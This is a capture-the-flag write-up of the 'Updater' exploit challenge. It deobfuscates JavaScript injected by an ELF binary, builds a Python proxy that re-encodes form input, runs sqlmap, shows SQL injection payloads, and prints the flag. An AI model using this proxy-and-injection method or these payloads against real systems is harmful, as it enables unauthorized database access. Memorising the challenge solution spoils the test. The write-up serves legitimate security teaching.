Updater (exploit, 200p, 2 solves)

description

Updater for local libraries.

Updater (23.38kB) 1d0eee7d45b51e91448683cd8fe63edfae5f359d22b71fbb16a6f40f834983d5

solution

Provided file is Linux 64-bit ELF binary, which opens http://pseudomalware.challs.malice.fr/ using WebKitGTK in full-screen and injects JavaScript code.

$ file Updater
Updater: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6d485dad4e516ccba39ddc2e7b020d59d9dbc743, stripped

screenshot of pseudomalware

JavaScript code could be retrieved by simply running strings on binary. It is obfuscated, though.

$ strings Updater | grep code
var code = `dmFyIF8weDExMWY9WydbbmFtZT0iY29kZSJdJywnbG9nJywndmFsdWUnLCdnZXRFbGVtZW50QnlJZCcsJ3N1Ym1pdC1mb3JtJywnMmZjMjI3ZmJlZDc0ODhmMmYyM2VlOTZkMjEzN2QxJywnc3BsaXQnLCdtYXAnLCdjaGFyQ29kZUF0JywnbGVuZ3RoJywnZnJvbUNoYXJDb2RlJywnYXBwbHknLCd0b1N0cmluZycsJ3B1c2gnLCdqb2luJywncXVlcnlTZWxlY3RvciddOyhmdW5jdGlvbihfMHgzZmNiZDYsXzB4NDk1ZjA5KXt2YXIgXzB4MTdlMzhhPWZ1bmN0aW9uKF8weDM5YWJhMCl7d2hpbGUoLS1fMHgzOWFiYTApe18weDNmY2JkNlsncHVzaCddKF8weDNmY2JkNlsnc2hpZnQnXSgpKTt9fTtfMHgxN2UzOGEoKytfMHg0OTVmMDkpO30oXzB4MTExZiwweDkzKSk7dmFyIF8weDU0Mjk9ZnVuY3Rpb24oXzB4MjdjN2FmLF8weDU4OGFjNCl7XzB4MjdjN2FmPV8weDI3YzdhZi0weDA7dmFyIF8weGZjMDEyOD1fMHgxMTFmW18weDI3YzdhZl07cmV0dXJuIF8weGZjMDEyODt9O3ZhciBmPWRvY3VtZW50W18weDU0MjkoJzB4MCcpXShfMHg1NDI5KCcweDEnKSk7dmFyIGs9XzB4NTQyOSgnMHgyJyk7ZnVuY3Rpb24geG9yKF8weDRhZjJhYixfMHgyZTM1NDApe3JldHVybiBfMHg0YWYyYWJbXzB4NTQyOSgnMHgzJyldKCcnKVtfMHg1NDI5KCcweDQnKV0oKF8weDNkZGMyYixfMHg1ZGJkMzUpPT5fMHg0YWYyYWJbXzB4NTQyOSgnMHg1JyldKF8weDVkYmQzNSleXzB4MmUzNTQwW18weDU0MjkoJzB4NScpXShfMHg1ZGJkMzUlXzB4MmUzNTQwW18weDU0MjkoJzB4NicpXSkpO31mdW5jdGlvbiBieXRlVG9CNjQoXzB4NDdlNjViKXtyZXR1cm4gYnRvYShTdHJpbmdbXzB4NTQyOSgnMHg3JyldW18weDU0MjkoJzB4OCcpXShudWxsLG5ldyBVaW50OEFycmF5KF8weDQ3ZTY1YikpKTt9ZnVuY3Rpb24gaGV4KF8weDNlY2YwOCl7Zm9yKHZhciBfMHgzMmQ0ZDI9W10sXzB4M2I1OTExPTB4MCxfMHg2YmFjN2I9XzB4M2VjZjA4W18weDU0MjkoJzB4NicpXTtfMHgzYjU5MTE8XzB4NmJhYzdiO18weDNiNTkxMSsrKXt2YXIgXzB4MTEyMWY3PU51bWJlcihfMHgzZWNmMDhbXzB4NTQyOSgnMHg1JyldKF8weDNiNTkxMSkpW18weDU0MjkoJzB4OScpXSgweDEwKTtfMHgzMmQ0ZDJbXzB4NTQyOSgnMHhhJyldKF8weDExMjFmNyk7fXJldHVybiBfMHgzMmQ0ZDJbXzB4NTQyOSgnMHhiJyldKCcnKTt9O2ZbJ29uc3VibWl0J109KCk9Pnt2YXIgXzB4NGZhZDhkPWRvY3VtZW50W18weDU0MjkoJzB4YycpXShfMHg1NDI5KCcweGQnKSk7dmFyIF8weGNkMWQzNT1ieXRlVG9CNjQoeG9yKGhleChfMHg0ZmFkOGRbJ3ZhbHVlJ10pLGspKTtjb25zb2xlW18weDU0MjkoJzB4ZScpXShfMHhjZDFkMzUpO18weDRmYWQ4ZFtfMHg1NDI5KCcweGYnKV09XzB4Y2QxZDM1O307`; eval(atob(code));

Decoding base64 string by echo DmFy... | base64 -d, results in more obfuscation.

var _0x111f=['[name="code"]','log','value','getElementById','submit-form','2fc227fbed7488f2f23ee96d2137d1','split','map','charCodeAt','length','fromCharCode','apply','toString','push','join','querySelector'];(function(_0x3fcbd6,_0x495f09){var _0x17e38a=function(_0x39aba0){while(--_0x39aba0){_0x3fcbd6['push'](_0x3fcbd6['shift']());}};_0x17e38a(++_0x495f09);}(_0x111f,0x93));var _0x5429=function(_0x27c7af,_0x588ac4){_0x27c7af=_0x27c7af-0x0;var _0xfc0128=_0x111f[_0x27c7af];return _0xfc0128;};var f=document[_0x5429('0x0')](_0x5429('0x1'));var k=_0x5429('0x2');function xor(_0x4af2ab,_0x2e3540){return _0x4af2ab[_0x5429('0x3')]('')[_0x5429('0x4')]((_0x3ddc2b,_0x5dbd35)=>_0x4af2ab[_0x5429('0x5')](_0x5dbd35)^_0x2e3540[_0x5429('0x5')](_0x5dbd35%_0x2e3540[_0x5429('0x6')]));}function byteToB64(_0x47e65b){return btoa(String[_0x5429('0x7')][_0x5429('0x8')](null,new Uint8Array(_0x47e65b)));}function hex(_0x3ecf08){for(var _0x32d4d2=[],_0x3b5911=0x0,_0x6bac7b=_0x3ecf08[_0x5429('0x6')];_0x3b5911<_0x6bac7b;_0x3b5911++){var _0x1121f7=Number(_0x3ecf08[_0x5429('0x5')](_0x3b5911))[_0x5429('0x9')](0x10);_0x32d4d2[_0x5429('0xa')](_0x1121f7);}return _0x32d4d2[_0x5429('0xb')]('');};f['onsubmit']=()=>{var _0x4fad8d=document[_0x5429('0xc')](_0x5429('0xd'));var _0xcd1d35=byteToB64(xor(hex(_0x4fad8d['value']),k));console[_0x5429('0xe')](_0xcd1d35);_0x4fad8d[_0x5429('0xf')]=_0xcd1d35;};

Using JavaScript Deobfuscator and Unpacker and manual de-obfuscation, results in more readable code.

var f=document["getElementById"]("submit-form");
var k="2fc227fbed7488f2f23ee96d2137d1";

function xor(_a,_b){
	return _a["split"]('')["map"]((_u1,_u2)=>_a["charCodeAt"](_u2)^_b["charCodeAt"](_u2%_b["length"]));
}

function byteToB64(v){return btoa(String["fromCharCode"]["apply"](null,new Uint8Array(v)));}

function hex(v){
	for(var _out=[],_i=0x0,_len=v["length"];_i<_len;_i++){
		var _nr=Number(v["charCodeAt"](_i))["toString"](0x10);
		_out["push"](_nr);
	}
	return _out["join"]('');
};

f['onsubmit']=()=>{
	var _code=document["querySelector"]('[name="code"]');
	var _xored=byteToB64(xor(hex(_code['value']),k));
	console["log"](_xored);
	_code["value"]=_xored;
};

On submitting form, it takes value in code input field, converts it to hex, xors it with 2fc227fbed7488f2f23ee96d2137d1 and converts to base64.

As there is only a single input field, there must be some kind of injection. To make testing easier (as data sent was manipuled), a proxy was written in Python.

#!/usr/bin/env python
import base64
from itertools import izip, cycle
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from threading import Thread
from urlparse import parse_qs
from urllib import unquote_plus
import requests, base64

def sploit(id):
	url = 'http://pseudomalware.challs.malice.fr'

	key = '2fc227fbed7488f2f23ee96d2137d1'
	message = ''.join(x.encode('hex') for x in id)
	print(id, message)
	c = ''.join(chr(ord(c)^ord(k)) for c,k in izip(message, cycle(key)))
	c = base64.b64encode(c)

	data = {
		'code': c,
	}
	s = requests.Session()
	r = s.post(url, data=data)
	return r.status_code, r.text	

class ThreadedHTTPServer(HTTPServer):
    def process_request(self, request, client_address):
        thread = Thread(target=self.__new_request, args=(self.RequestHandlerClass, request, client_address, self))
        thread.start()
    def __new_request(self, handlerClass, request, address, server):
        handlerClass(request, address, server)
        self.shutdown_request(request)

class RequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
	id = parse_qs(self.path[2:]).get('id', [''])[0]
	print(id)
	code, body = sploit(id)
       	self.send_response(code)
	self.send_header('Content-type', 'text/html')
	self.end_headers()
	self.wfile.write(body)
        
server = ThreadedHTTPServer(('', 1234), RequestHandler)
server.serve_forever()

Trying SQL injection with sqlmap was semi-successful, as it found the injection, but couldn't exploit it.

$ python proxy.py &
$ python ./sqlmap.py -u 'http://localhost:1234/?id=test' -p id --level 5 --risk 3
(..)
[15:22:06] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Invalid code")
(..)
[15:22:16] [WARNING] GET parameter 'id' does not seem to be injectable

Various other runs found different injections, but couldn't fully exploit any of them either.

$ python ./sqlmap.py -u 'http://localhost:1234/?id=test' -p id --level 5 --risk 3 --string="Invalid code" --dbms=mysql
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=test' AND (SELECT 7737 FROM (SELECT(SLEEP(5)))nERZ)-- xFsf
$ python ./sqlmap.py -u 'http://localhost:1234/?id=test' -p id --level 5 --risk 3 --string="Invalid code" --dbms=mysql
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=test'||(SELECT 0x6d4c6977 WHERE 6237=6237 AND SLEEP(5))||'

However, manually tuning the injection, it was a success.

$ curl -vk "http://localhost:1234/" --data-urlencode "id=test'||(SELECT 1)||'" -G
(..)
Thank you for your cooperation, here is the flag : NeverOpenUntru$tedFiles
		

Flag is NeverOpenUntru$tedFiles.